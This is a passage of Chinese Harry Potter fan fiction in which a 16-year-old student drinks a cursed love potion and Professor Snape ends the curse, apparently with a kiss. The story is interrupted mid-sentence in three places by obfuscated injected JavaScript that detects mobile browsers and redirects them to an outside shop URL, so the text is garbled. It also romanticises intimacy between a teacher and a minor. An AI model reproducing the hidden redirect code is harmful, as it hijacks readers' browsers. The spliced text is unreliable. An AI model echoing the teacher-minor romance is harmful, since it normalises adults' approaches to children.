《[HP]摄神取念》 1. 楔子 深夜的霍格沃茨图书馆,无所事事的少女偶然遇见了独自坐在一角的黑发巫师。她小心翼翼地站在书架旁,默默观察着他。 他似乎没有注意到她的存在,又或者说根本不在乎。昏暗的灯光下,他低头专注于手中的魔药书籍,眉头紧锁,那毫无生气垂落的黑发下露出的夸张鼻子就快要碰到书页了——他脸上的表情严肃而疲惫,无助而又倔强。 少女出神地看着他,心里升起一种说不清的情感,仿佛看到了一个在水里垂死挣扎的灵魂,却又努力维持着一份孤独的坚韧。 --- 另一个寂静的夜晚,少女悄然进入了空无一人的天文学教室。她谨慎地检查了四周,确保没有其他人以后,又施放了锁门咒语。 教室里一片漆黑,星光从高窄的窗户外透进来,显得有些凄清。 她没有点灯,而是径直走向了窗边,任清冷的光线洒在她的头顶,借着微弱的光线,她掏出口袋里的一个小物件。 那个物件看起来像是一个耳朵的形状,少女凝视了它几秒钟,随后轻轻地用魔杖敲了敲—— 旋即,一个低沉而愤怒的声音响了起来,打破了教室里的寂静。 “你能够回到这里已是个奇迹!”那个声音怒气冲冲,带着不可抵抗的严厉,“那枚戒指上有特别强大的魔咒,我们最多能希望把它遏制住——” 少女被吓了一跳,差点将手中的物件甩了出去。显然,这个声音属于她的魔药学教授,但这绝不是她所预期的对话。 紧接着,另一个声音响起,带着与前者截然不同的温和与轻松,“你干得很出色,西弗勒斯。你认为我还有多少时间?” 少女震惊地听着,几乎是愣在了原地,心中又害怕又慌乱。 不、不对——这不是我想听的。少女皱着眉想到,很显然对面的那个小玩意儿被带到了它不应该在的地方,比如说,校长室。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593411|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我说不好,大概一年。没有办法永远遏制这样的魔咒。它最终总会扩散,这种魔咒会随着时间的推移不断加强。” 对话仍在继续,少女在内心经历了一番挣扎后,最终没有选择关闭那个传声物件。她意识到,他们是在谈论校长的生命,在这个每天发生什么事都不奇怪的日子里,那个曾经无所不能的伟大白巫师,生命只剩下不到一年了—— 少女的眉头皱得更紧了,几乎不能相信自己所听到的内容。 她缓缓地在教室的角落坐了下来,双眼紧盯着地面,耳朵却紧紧地捕捉着传来的每一个字。 她的魔药学教授和校长,像两位冷静的军师,毫无感情地分析着诅咒、黑魔王、德拉科·马尔福,以及—— 突然,她的心跳停住了一拍。 “你打算让他把你杀死?”低沉的声音用讽刺的口吻问道。 “当然不是。必须由你杀死我,西弗勒斯。” 2. 魔药 1995年,12月。 原是一个平平无奇的冬季学期傍晚。霍格沃茨的城堡留不住热度,石墙透着刺骨的寒意,整个城堡像一座冰冷的石棺。 蕾雅从几乎空无一人的图书馆里醒过来,甩着压得发麻的手臂,又扫了一眼墙上的钟,发现已经快到宵禁的时间了,她慌忙地卷起压在手肘底下写到一半的神奇药草论文,又不舍般最后瞥了一眼禁区方向透过来的微弱光线,才匆匆抱起所有的东西从图书馆离开。 她爬上台阶,去往格兰芬多塔楼的方向。 走廊里空无一人,仅有十二月的风透过长廊的拱券拨动着那微弱的魔法烛火,她连忙拢了拢自己的长袍。 当然,这是因为在乌姆里奇的统治下度过的两三个月以后,霍格沃茨已经变得安静得不像一所学校,公共的区域几乎没有了学生,大家都躲在休息室或者有求必应屋里。就连那些教授们,也都不再高谈阔论,开始挤在走廊或者远处海格的小屋里压着声音说话。 但是这些都跟这个黑发少女没有什么关系,对她来说,这跟之前的生活也没什么两样——无聊、无趣,不过是浑浑噩噩日子中的一小段插曲罢了。 唯一要说有什么不同的,就是这个学年末要举行的O.W.L考试,作业多得像小山一样。虽然这么说,她也对这个东西也没有什么目标或者憧憬,毕竟到现在,她仍然在纠结自己为何要成为一名女巫。 任由这些乱七八糟的东西塞满自己的内心,蕾雅低着头慢慢走着。她总是这样,不紧不慢,似乎没什么真的能让她紧张起来。 当她慢悠悠地走到格兰芬多塔楼时,一团朦胧的白影突然从前方的墙壁里浮现出来,差点让她惊叫出声。 “晚上好,莱恩哈特小姐。”是尼古拉斯·德·米姆西-波平顿爵士,他一如既往地拉下了他的头颅,礼貌地向她打了个招呼。 “晚上好,差点吓到我了,尼克爵士。”蕾雅朝他微微一笑,捂着自己那还在剧烈跳动的心脏。 “噢亲爱的,你要小心,乌姆里奇那个老女人最近又加强了夜间巡逻。”尼克微笑着低头,用他那几乎不存在的嘴唇轻声提醒,“快些回去吧,也许她马上就来了。” 蕾雅感激地点点头,稍稍加快了脚步。刚往前走了几步,她发现幽灵爵士跟着她移动了一小段距离。蕾雅有些疑惑地停住了脚步,回过头去,发现尼克爵士正眯着眼睛看着她。 “你怎么没跟他们一起?”他的语气里有些好奇。 “他们?”她没理解他为什么这么问。 “我是说,波特他们那一大群人,最近不都总待在一起吗。”尼克爵士一边问着,一边用手势催促她继续往前走,“快走,亲爱的,马上就要宵禁了。” “哦……”蕾雅又开始迈出步子,思索了一阵,才淡淡地说道,“我不总跟他们一起。” “好吧,晚安,亲爱的。”尼克爵士目送着她走到休息室的走廊前,富有绅士风度地行了个晚安礼。 她继续前进,走廊尽头的油画——胖夫人,已经在望。胖夫人看到蕾雅走近,摇头叹气,“快点,快点,天都这么晚了!赶紧进去休息!” “米布米宝。”她快速地念着开门的咒语。 画像从她面前打开,她一边跟胖夫人道着晚安,一边钻进公共休息室。 公共休息室里还是一如既往,乱糟糟的羊皮纸团夹杂着旧高布石散落一地,各种奇怪的魔法食品的味道混合着乔治和弗雷德研发的新产品的味飘散在空中——这两人正坐在休息室的一角沙发上,面前是一大堆乱七八糟的恶作剧商品,他们笑着看她。 “晚上好,蕾雅。”他们几乎是异口同声地说着。 “晚上好,乔治、弗雷德。”她并没有停住脚步,只是保持着步伐走到通往女寝室的楼梯前,又回过头来,“那么,晚安。” “晚安,小姐。”他们又笑着一同说道。 当她回到寝室,发现赫敏已经回来了,拉文德反而不在。 赫敏正在她的桌子前快速地写着乌姆里奇的作业,她最近织的那些精灵帽子被她收集在手边的框里,满满的堆成一座小山一样。 “你又去图书馆了?”赫敏很快地回过头来扫她一眼,又转了回去。 “嗯,去了。一如既往地没人。”蕾雅将自己的东西随意地搁在书桌上,“你今天怎么这么早?” “乌姆里奇的作业明天得交,我才开始写。”她没抬起头,又不厌烦地说着,“我真的受够这个女人了。这些作业简直毫无用处,我是说,毫无用处!除了浪费时间以外。” 蕾雅只是笑着听她抱怨,最近总是如此。 “你写完了?”赫敏又问。 “随便写了,应付。”蕾雅将长袍解下来,挂在床头的衣架上。 她想起了尼克爵士的话,又开口,“训练怎么样了?” “也就那样,大家都很努力。”赫敏扭过头来挤出一个微笑,但她眼中的忧虑显而易见。她顿了顿,看着蕾雅问道:“我倒想知道,你为什么不来参加?你明明这么聪明,可以帮上很多忙。” 蕾雅盯着室友正写着的论文一阵,犹豫了一下低声说,“你知道的,我爸爸不喜欢我参加这些。而且,我哪里聪明了。” “又是爸爸的规矩。”赫敏有些被逗笑了,“你知道吗,蕾雅。有时候我总觉得你不像个格兰芬多。” “喏,我确实也不知道自己为什么是个格兰芬多。”蕾雅耸了耸肩,诚实地回答着她。 眼睛一转,刚好瞥见那放在门口柜子上一杯蜂蜜色的液体,她问道,“那是什么?” “你知道的,也许是拉文德新榨的果汁。”赫敏淡淡地说,仍旧快速地写着作业。 噢,最近拉文德总是沉迷尝试各种果汁,据说有减肥美容的功效。有时候她做多了,也会分给蕾雅——因为赫敏总是拒绝一切来自拉文德的东西。三个人的宿舍,蕾雅被迫做了那个和事老。 蕾雅舔舔嘴唇,正好觉得有些口渴,便走到那杯液体前,拿了起来,“好吧,猜猜这次是什么味?” “我不认为你该尝——”赫敏猛地一转头,发现自己没来得及阻止,只能眼睁睁地看着液体滚下了黑发少女的喉咙。赫敏只得把前面的话咽了回去,问道,“好吧,你动作真快。这次怎么样?”?? “唔,没什么味道,倒也解渴——”黑发的少女说着。 正当她放下杯子时,拉文德突然从楼梯上冲了下来,脸上满是惊恐地大叫着:“蕾雅!你喝了我的魔药?那很贵的!” “什么?魔药?”蕾雅愣了一下,“这么贵的魔药你就随便放在这里?” “我刚刚肚子痛!”拉文德焦急地看着她,大步走了过来,抓住了蕾雅的手腕,瞪大了双眼,“诶不是!不是,你喝了它?” “是啊,喝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593412|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抱歉。”蕾雅稍稍拿出了一些愧疚的模样,打趣着说道,“什么功效的魔药?美容还是瘦身?要不下次去霍格莫德我赔你一瓶就是了。” “不是这个问题!”拉文德几乎是急得跳脚,捏着蕾雅手腕的手又稍稍使了劲,“这是一种特殊的魔药!” 蕾雅只是单纯地笑着,“怎么特殊?我现在什么都没感觉到啊。” 赫敏这时候也感觉到有什么不对劲了,连忙放下羽毛笔朝她们走过来。赫敏皱起了眉头,快步走到蕾雅身边,紧张地伸出手来摸了摸蕾雅的额头,又询问道,“你感觉怎么样?有没有什么不舒服或者异常的感觉?” “什么感觉也没有。”蕾雅摊了摊手,又看向拉文德,“你是不是买到假商品啦?” 拉文德的脸红一阵又白了一阵,有些窘迫地站在蕾雅的面前,重重地深呼吸了一下才说道,“你真的什么也没感觉到?” “真的什么也没有。”蕾雅有些好奇的看着拉文德,“告诉我嘛,什么效果?” 拉文德松了一口气,背过身去从她床边的柜子里拿出一个小玻璃瓶,颤颤悠悠地蕾雅递过来。 倒是赫敏一把拿过了瓶子,将那瓶子拿起来端详着念出声来,“一定能创造与那个人一次美好回忆的神奇魔药?” 赫敏倏地抬起头来又白了拉文德一眼,“……你从哪里搞来这种怪东西?你准备对谁用?” “在霍格莫德买的。”拉文德几乎是嘟哝着,她选择性忽略掉第二个问题,径自朝蕾雅说道,“蕾雅,你真的什么都没感觉到?” “真的什么也没感觉到。”黑发少女一字一顿地说着点头,“放心吧,也许,是因为我也没有什么喜欢的对象。” 赫敏被她这话说得笑出了声,将玻璃瓶塞到蕾雅的手里,“也是,蕾雅小姐本来就对什么都不怎么感兴趣。迷情魔药一般都会在这种情况下失效。” “肯定是这样,好了好了,我真的没事。”蕾雅接过玻璃瓶,朝好友们扯出一个笑容,慢悠悠地踱到自己的床边坐下,“回去写你的作业,赫敏。该准备护肤睡觉了,拉文德。” 拉文德犹犹豫豫地看着蕾雅,没有动,似乎仍然处在慌张之中。 赫敏的眼里还有一些担忧,她还是走了过来拉过蕾雅的手,“要是感觉有什么不对劲,立刻跟我说好吗?我跟你一起去医疗翼。” “真的没事。”蕾雅朝她眨眨眼睛,突然又像是想起什么一样,看向拉文德,“哦对了,你能把瓶子给我吗?我下次给你买一瓶一样的。” 拉文德顿了顿,只是点了点头。 蕾雅将那个玻璃瓶子随意地塞进自己挂在一旁的长袍口袋里。 顺便换过了睡衣,很快地躺到床上,对两位室友道了晚安便放下了床幔。 等赫敏终于写完了作业熄灭寝室里的最后一点亮光,黑发少女依然在她的床上盯着她床幔辗转反侧。 小腹不知道什么时候开始升起一股燥热感,起初还只是很轻微,慢慢地变得巨大了起来,而后全身都跟着滚烫着,每个细胞的感觉都被放大了一倍一样。逐渐,变为了剧烈的疼痛。 她又翻了个身,依旧疼得无法入睡,额头和睡衣都已经湿透了。 这可怎么办? 她蜷缩成一团,盯着黑暗中床幔的一角怔怔地疼得出神。 ——是的,她撒了谎。 并不是没有喜欢的人。 3. 同情 霍格沃茨的第一场雪。 蕾雅站在图书馆塔楼前的庭院里,裹着细雪的寒冷夜风也不能带走她身上的高热,因喘息而产生的一团团白气正消散在空气里。她在那里茫然地看着泛着银白色的天空,那种银白色一直延伸禁林方向的山岭之上。没有星星,也没有月光,只有一片片的白雪安静地落下来,一点点堆积石砖上面,映着那些烛火的暖黄,一点点将这座城堡染成白色的。 蕾雅看得恍惚了一阵,才走进门厅,又在那里停了了一阵再犹犹豫豫地拐进了通往地下教室的楼梯。 站在这扇陈旧而阴森的地下室木门前,她深吸了一口气,抹去些自己额上的汗水,又整理了一下校服。鼓起了这辈子的所有勇气,敲响那扇看起来拒人千里的木门。 “进来。”如冬日严霜一样的冷漠声音从门内传来。 蕾雅缓缓推开木门,谨慎地钻了进去,一阵凄冷寂寥的寒气混杂着魔药的苦味迎面扑来。她的魔药学教授,西弗勒斯·斯内普,正坐在他的办公桌后,脸色阴冷地沉在他的黑发后面,手中的羽毛笔在羊皮纸上划出枯燥的沙沙声。 “您好,教授。”蕾雅极力保持着声音的平静。她看见斯内普刚放下一份画着“P”的作业,又换过了一份。 “莱恩哈特小姐。”斯内普没什么感情地唤她的名字,“什么事?” 蕾雅将自己不安的双手藏在裙子后面,小心地挑选着措辞:“教授……我可能误喝了一种魔药。” “可能?”斯内普轻笑一声。 “应该……也许,是一种迷情剂。”蕾雅小声答道。 “一种迷情剂?”他挑起眉毛来看她。 “是拉文德在霍格莫德买的……教授,您能看一下魔药的成分吗?”蕾雅忍着痛往前走了一些,从长袍的口袋里翻出一个玻璃瓶子,朝他递过去。 斯内普撇了撇嘴,沉着脸接过瓶子,转动着观察起来。很快,他将瓶子咚地一声搁在他的办公桌上,冷冰冰地开口道,“校规明确禁止购入来源不明的魔法物品。因为布朗小姐欠缺考虑的愚蠢行为,格兰芬多将失去五十分。” “呃……”蕾雅因为他的扣分行为震得一个哆嗦,摸了摸自己的鼻子。 “至于你,莱恩哈特。”他阴冷地说道,“我记得我在课堂上有提过,迷情剂的药效不过二十四小时。在这期间,我可以给你一瓶缓和剂减轻一点痛苦……哦,你的状况持续多久了?” “……一天半了,教授。” “一天半?”斯内普加重了些语气。 她舔了舔因为高热而干燥的嘴唇,茫然地点点头。 “是什么让你觉得你不应该早点来找我?” “对、对不起。”蕾雅肩膀一抖,下意识就道了歉,慌忙解释道:“我、我想也许、也许再等几个小时就好了,我不想打扰您。” 斯内普不耐烦地扯了下嘴角,从口袋里抽出自己的魔杖,指向她轻轻念了一个高阶诊断魔咒。 银丝般的魔法光芒从他的魔杖尖端迸发而出,慢慢地开始盘旋在她的四周,转瞬间又变为乌黑的烟雾消散在房间里。斯内普紧锁着眉,凝视那些袅袅的黑烟,眼神逐渐变得尖锐。 片刻,他转向她,脸上多了些审视:“显然,这里面带有诅咒成分。你已经这样一天半了?” 正依靠着墙努力站稳的少女用力地点了点头。 斯内普从办公桌后面站了起来,走到她面前。他居高临下地注视着她,斟酌数秒之后才开口道:“很不幸,莱恩哈特小姐,即使是我,对这样的诅咒也无能为力。根据诊断咒,药效只有在你的情感得到对方的回应时,才会解除。” “得到对方的回应……?”蕾雅愣了愣,旋即错愕地望向斯内普如同磐石一样冷硬的黑眸,仿佛不敢相信他的话般喃喃道:“教授……这是什么意思?” 斯内普瞪了她一眼,以毫无起伏的冷淡声调陈述着:“亲密行为,或者是情感回应。” 亲密行为?情感回应? 蕾雅觉得斯内普的这番话仿佛在宣判她的死刑——那些从来没有打算过要跟任何人说起的话,难道就要在这里对当事人说出口吗? ……不对,比表白更糟糕的是,她要怎么向她的魔药学教授开口求得他的亲密行为呢? 一想到这里,蕾雅感觉自己不仅身上疼得很,连心脏也开始剧烈地跳痛起来。 她瞬间便心虚地别开视线。 还没等她能做出任何回答,斯内普冷笑着继续说道:“既然如此,我建议你趁失去意识之前,赶紧去找到那个愚蠢的家伙并乞求他的怜悯吧。” 蕾雅不再说话了,也无法再看向他,侧过脸将目光放向窗外,试图转移一些注意力。 有雪夜的寒风正灌了进来,无情地拨弄过办公室壁灯里的魔法烛火。火芯不安地随风颤动着,却像是她因疼痛而哆嗦不已的身体。 乞求他的怜悯…… 她忽而难过地想起来,魔药瓶上写着的“一定能创造与那个人一次美好回忆”。 可笑至极。这种由同情心所带来的回忆,只能是一厢情愿的美好。 “你听懂我的话了吗?现在,离开我的办公室。”斯内普催促的声音打破了这阵沉默。 蕾雅低下头,叹了一口气,用弱到只有自己能听见的嘟哝着:“……教授您说,如果他不回应我,我可能会死吗?” 斯内普显得更加不耐烦,讥讽道:“你是理解我不了我说的话吗,这是一种诅咒。还是你想跟我说你已经将黑魔法防御的基础知识忘得一干二净了?” 他的回答已经很明确了。 她怎么会想过,不过是随手拿起的魔药——拉文德,你原来到底是想对谁用啊?! 蕾雅苦中作乐般暗暗想着,如果她活下来,一定会找那个原本的受害者出来,让他好好谢一谢自己。 可此时,她根本不知道还能有什么办法,只能悲凉无助地将头完全垂了下去。 要……对他说吗? 如果身为一个教授……他,或许? 蕾雅黯淡的目光再次移向他黑袍的一角,好像在祈求有什么神迹发生一样死死盯着。 斯内普察觉到她的目光,他皱着眉注视面前的学生一阵,很快就意识到什么。他难以置信般顿了片刻,随后拔高声音质问道:“你为什么还不离开?对方是谁?!你别告诉我是什么不切实际的幻想?” “是……”她被他的语调吓得猛然抬头,迷茫地看了他一瞬,嘴巴张了又张,终于还是说不出来话。 斯内普抬手用魔杖抵着她的下巴,命令道:“别让我再问一遍!看着我!” 一瞬间,蕾雅对上一双愤怒的黑眸,那里好像闪过一瞬的讶异,旋即,一阵刺痛从蕾雅的脑海里炸开。 她轻哼出声来,感觉有细针正在无情地搅动着她的大脑。 是摄神取念。 无数的日常场景被他翻出。昏睡的魔法史课、无聊的变形课、难熬的魔咒课,是一成不变的霍格沃茨生活;格兰芬多休息室、格兰杰、布朗、韦斯莱、波特……斯内普冷漠地浏览着这一幕幕场景,直到他看见空无一人的霍格沃茨图书馆中,那在禁书区里看着魔药书籍的黑色背影。 ——他在课堂上用魔杖指挥着坩埚的样子,竟然是她在喝下魔药后最先浮现的形象。 斯内普立刻就松开她,下一秒便迅速背过身。 蕾雅难受地喘息着,怔怔地望着面前这个冷漠如石的背影出神。 她立即就明白过来。 斯内普凭什么要救她呢? “… 对不起,教授。打扰您了。”蕾雅憋红着脸,朝门口迈开步子。 可是还没走出两步,她的耳朵就开始嗡嗡作响。她顿住脚步调整呼吸,却发现大脑也逐渐变成一团深暗的漩涡。紧接着,眼前的一切再也看不清楚,而是变成了大片逐渐扩散开的黑色光斑。 斯内普闻见身后的动静侧过头来,就瞥见眼前的人身体正仄歪向一边,随即咚地一声倒在他的办公室地板上。他愣在原地,很快重重地砸了一下嘴,那种出于师德的责任心迫使他走向她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593413|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在那不真切中,蕾雅感觉有什么东西扶起了她的肩膀,十分温暖。 她用尽全身的力气将眼睛撑开了一条缝,望见一双阴森到可怖的眼睛,就像刚才眩晕中看见的黑色漩涡。但是漩涡里翻涌的不是海水,而是浓重如深渊的愠色。 “听清楚,无论你心中有何种愚蠢的幻想。我接下来的行为,仅仅是履行我作为教师的责任,不会有任何其他的意思。”斯内普用一只手扶着她,话语从咬紧的牙缝里挤出:“我说得够清楚了么?立刻回答我!” “……明、明白。”蕾雅忐忑地点了点头。 “现在,给我闭上你愚蠢的眼睛。” 她顺从地闭上眼睛。 蕾雅的视野陷入一片黑暗,她的鼻腔里却充斥着一股草药的清苦,还有一些古书与羊皮纸的沉香。 这是她因药效解除而带来的昏迷之前,最后的记忆。 当蕾雅再次醒来的时候,她发现自己被放平在地板上,身下是一条有些褪色的毛毯。她的身体已不再疼痛,而变成一种虚脱的疲惫感。 她恍惚着直起身子,望见斯内普正背对着她站在房间的另一头。她将目光停在那个黑色的身影上面一阵,才意识到什么一样,慢慢地举起手来碰了一下自己的嘴唇。 温热而潮湿。 “今天的事,只存在于这间办公室内。”斯内普忙着将锅里的药液拌开,闷声道。 “我、我知道的。谢谢您,教授。”她的脸涨的通红,小声地说。 “现在,你可以离开我的办公室了吗?” 蕾雅朝声音的主人点点头,迅速爬起来将毯子折好放到他一侧的柜子上。 “打扰您了,谢谢您救我,教授。”她认真地道了谢,朝木门的方向走去。 斯内普没有再理会她。 就在蕾雅将手按在木门的金属把手上的时候,一个强烈的念头突然冒出,她抿了抿嘴,飞快地补充道:“先生,也许只是我在喝魔药的时候刚好写完魔药学作业,没有别的意思。真的很谢谢您。” 她离开以后,办公室安静了下来。 斯内普将手里的魔药小心装瓶放好,转身回到他的办公桌前,准备拾起刚刚丢在一边的工作。 但是什么也看不进去了。 他烦躁地将羽毛笔扔在一边,用一只手撑住自己的额头,余光瞥见那条被她叠好放在一边的毛毯。 凝视一阵,他的眉头拧得越发地紧,心里烦躁的声音也越来越大。 斯内普双手缓缓抬起搁在桌上,指尖轻轻相对,开始理性地去分析自己思绪的根源。 首先,肯定不是因为他突然得知的学生心事。 对教师抱有憧憬和依恋的学生一直不少,原因也千种百样,但这些幻想会随着成长而逐渐丰富的阅历消散。这近十五年的执教生涯中,斯内普当然不是没有经历过这种场景。他也根本不会为这些不值一提的小事分心。而且,他几乎可以确信,用不了多久这个学生就会对他毫无兴趣,她们总是如此。 其次,也不是因为他那由于魔药诅咒而被迫进行的举动。 不管他有多么擅长伪装冷漠,这一路走来他知道自己经历过无数次无能为力的见死不救,而这次不过是最接近人类本能的一次举手之劳而已。 那么…… 他陡然意识到,自己的烦躁根源也许是一种更久远的原因。 斯内普闭上了眼睛,脑海里清晰地出现了一双清澈天真的翠绿眼眸。 那双眼睛,他之前怎么从来没有注意过呢? 那种眼神,那种原始的乞求与浓烈的期盼,跟许许多多的片段突兀地重叠在了一起。 是他无数个难眠的夜晚。 斯内普感到胸腔里有闷痛,是有一些不该交织的东西正无情地钻进他的心室,狰狞地扭曲缠绕在一起。 他倏地将那条毛毯传到柜子里,放下魔杖便毫不犹豫地拉开边上的抽屉。抽屉里的药剂因为他的剧烈动作发出了清脆碰撞声,他很快从里面拿出一瓶,仰头一饮而尽。 4. 槲寄生 十二月中旬一过,城堡里便积起了了两英尺深的厚雪。霜花凝在从塔楼到地窖的每扇窗户上面,眺望出去,整个世界都变成了一片纯洁素净的白,一望无垠,空灵寂寥。 每年的这个时候,霍格沃茨的城堡就会被翠绿繁盛的槲寄生花环装点了起来。它们被悬挂在那些高高的大厅上、垂挂在长长的走廊里,映着窗外的白雪,衬着装饰的红丝带,为这座古老的城堡渲染出了一种喜悦而暧昧的圣诞节气息。每年的这个时候,那些关于槲寄生下亲吻就会永远厮守的传说就会一次次被提起。 当然,蕾雅从来不相信这些传说。如果有任何浪漫的传说,它们也一定不会发生在她身上,至少不会发生在圣诞节还要关禁闭的她身上。 那件事一周后的魔药课上,蕾雅发现自己难以直视斯内普教授。每当对上他的目光,她都会不由自主地想起那个夜晚,那些草药的清苦与羊皮纸的沉香仿佛刻进了嗅觉里了一样。而后,她的脸颊就好不由自主地滚烫了起来,生生发疼,就像再次喝了那晚的魔药。 斯内普却像什么都没发生过一样,一如既往地板着脸,沉着语调,丝毫没有任何波动。 意识到自己的手指无意识地按在自己的嘴唇上,蕾雅连忙放下手,晃了晃脑袋,试图将自己思绪重新拉回魔药课上。斯内普早已布置了这节课的作业,但赫敏跑到前面去看哈利和罗恩的坩埚了,她这桌只剩了她一个。 蕾雅用一只手托着下巴,凝视着那些复杂的板书出了神。她机械式地按照书上的步骤依次将材料扔进坩埚里,不时懒洋洋地搅拌两下。 此时,整个教室都突然安静了下来,周围的人频频向她投来了怜悯的目光,因为斯内普正站在她的身后。 “莱恩哈特小姐,”斯内普的声音又冷又硬,像是永不可化的坚冰,“请解释一下,为什么你的坩埚里的东西是一团浆糊状的黄色?” 蕾雅倏地回过神,错愕地看着魔药学教授那张漠然的脸。 “对不起,先生。”她颤抖着回答道,但刚对上斯内普那双冷若冰霜的眼睛,她就不动声色地迅速移开目光,才说道,“……我可能误将金蝉花瓣过早加入。” 斯内普将她一系列地反应都收在眼底,他将手中的魔杖轻轻敲打在手掌上,发出令人不安的声响。抬手一挥,坩埚里的物体瞬间消失。 “可能?”他眉毛一挑,声音是那样的轻蔑,“虽然我很高兴你对自己的错误有清楚的认知,但在魔药学中没有可能,只有精确和灾难,莱恩哈特小姐。” 他走得更近了,声音几乎是在压在她的头顶上,“格兰芬多将因为你的失误和注意力涣散而失去三分。”他顿了顿,“并且,你将在今日课后在我的办公室重新制作防御药剂,直到你能正确制出为止。” “……是。”她忐忑地答道。 接下来一整天的课里蕾雅都在想,是不是有什么办法让她对上斯内普的眼睛而不会紧张呢?说真的,她最近被扣分的次数都快赶上哈利和纳威了。就是连平时面对这种事冷静沉着的赫敏也有些愤愤不平。 终于熬到了最后一节草药学课的结束,她抱着自己的笔记本叹着气走下楼梯,再次来到这扇冰冷的办公室门前。 她敲响了办公室门。 “开着。”低沉的声音在里面响起来。 “斯内普教授——”她推开门,但话还没说完被打断了。 “材料在桌上。”他冷淡地说着,甚至没有抬头看她一眼。 她鼓了鼓嘴,走向他办公室里的坩埚台,开始仔细检查桌上的材料:银杏叶、火龙的血液,还有那金蝉花瓣。蕾雅拿出自己的笔记本,将材料一样一样按照步骤排列好。 每放进一样材料,她就用笔轻轻地划掉步骤,害怕再次犯错。 蕾雅轻轻地取出一个小瓶子,仔细地将火龙血加入坩埚中。火龙血一碰到坩埚底的混合物,立刻发出了轻微的嘶嘶声,冒出一丝丝蒸汽,颜色从渐渐变为深褐色。 “步骤正确,温度也控制得不错。”斯内普的声音从她身后传来。 “嗯。”她轻轻地应着,继续专注眼前的任务。 蕾雅抓过一把银杏叶,在研钵里磨成细细的粉末。这一步是注定这锅魔药是否成功的关键,这些粉末需要被均匀地撒下以保证药效的均衡发挥。 这时,斯内普突然站起身,大步走到她身边,双臂交叉胸前观察她的操作,而蕾雅刚抓过一把银杏叶粉举起。 “慢一点。”低沉的声音打断了她的动作。 “好的。”她将动作放缓,紧张地注视着他。 “告诉我为什么。” “是为了让每一片粉末都完全吸收。” “很好,继续。”斯内普颔首,示意她继续她的操作。 她将粉末均匀地洒下,然后拿起搅拌棒,刚沿着坩埚边缘转了一圈,只见一声“咕哝”响起,坩埚里开始泛起泡泡,而深褐色的液体开始变得粘稠。 “停下。”身后的斯内普不耐烦地命令。 “唔。”蕾雅立即停止了手中的动作,但她不敢松开搅拌棒——这是基本的魔药操作规则,调制过程中不该轻易离开搅拌棒。 斯内普从她身后伸出手,以食指轻轻地托住搅拌棒的上端。 蕾雅有些困惑地看他,意识到是他来示范的意思后,她缓缓地松开手,往旁边挪了挪给他让出位置。 “观察。”斯内普开始演示,动作有条不紊,连角度都是教科书般精准,“注意角度,角度太大会导致起泡,然后浑浊。” “我明白了,先生。” 她凑上前去,留心地观察他拿搅拌棒的角度。 斯内普掂起一把金蝉花瓣放入坩埚中,然后用魔杖调整着温度。当坩埚中的混合物开始轻微冒着白烟时,斯内普侧过头看着她,“你来继续。” 蕾雅伸出手去接走了搅拌棍,又听见斯内普说道:“动作要均匀、缓慢。太快会破坏成分,太慢则反应不完全。” “好的。”蕾雅紧张地模仿着他刚才的角度,小心而细致地搅拌着。 “不错,保持这个速度,注意观察颜色的变化。”斯内普指着坩埚中逐渐变深的黄色。 蕾雅无声地点点头,她感觉到自己的身体已经僵直了起来,手里仍然极力保持着动作。终于等到斯内普转过身去了以后,她才松了一口气。 斯内普回到他的办公桌前坐下,重新拿起学生论文看了起来。过了一阵,他忽而开口:“莱恩哈特小姐,我想知道你为什么从来都不做好?“ 蕾雅慢慢地关掉了已经完成的魔药坩埚,一脸迷惘地问道:“先生,您是什么意思?” 斯内普从论文里抬起头来,看着她严厉地说道:“你的天赋、操作、理论都不差,细节也能注意到。你明明可以做到更好,但是,你为什么从不做好?” 蕾雅被他说得几乎呆在了原地,愈发茫然地望向他。 “还是说,你是故意让我关禁闭的吗?莱恩哈特小姐?”斯内普挑起一根眉毛,嘴角的弧度变成一种讥讽阴森:“为了引起我的注意?” “不是故意的,先生。”蕾雅倒是立即回答了这个问题。 “那你为什么做不好?为什么一定要表现得如此愚蠢?”而斯内普仍然继续追问着,不知道为什么,他似乎很生气。 被他的严厉言辞所震动,蕾雅低下了头,只能小声地答着:“我……对不起。” “你该对不起的,是你自己的时间。如果你不是故意惹事的话,我建议你表现得聪明一点。如果你是故意的,那我没有闲工夫陪你玩耍,我也不会再理会你。” 时间?过去的十六年,她从来没有考虑过这个东西。 蕾雅愣了一下,感觉到莫名的钝痛正从自己的心里蔓延开。 她的目光无意中落在了斯内普手中的羽毛笔上,它正被他紧紧捏着划过一道道弧线,在羊皮纸上留下深浅有致的痕迹。上次来的时候,他好像也在改作业,他好像总有忙不完的事情。 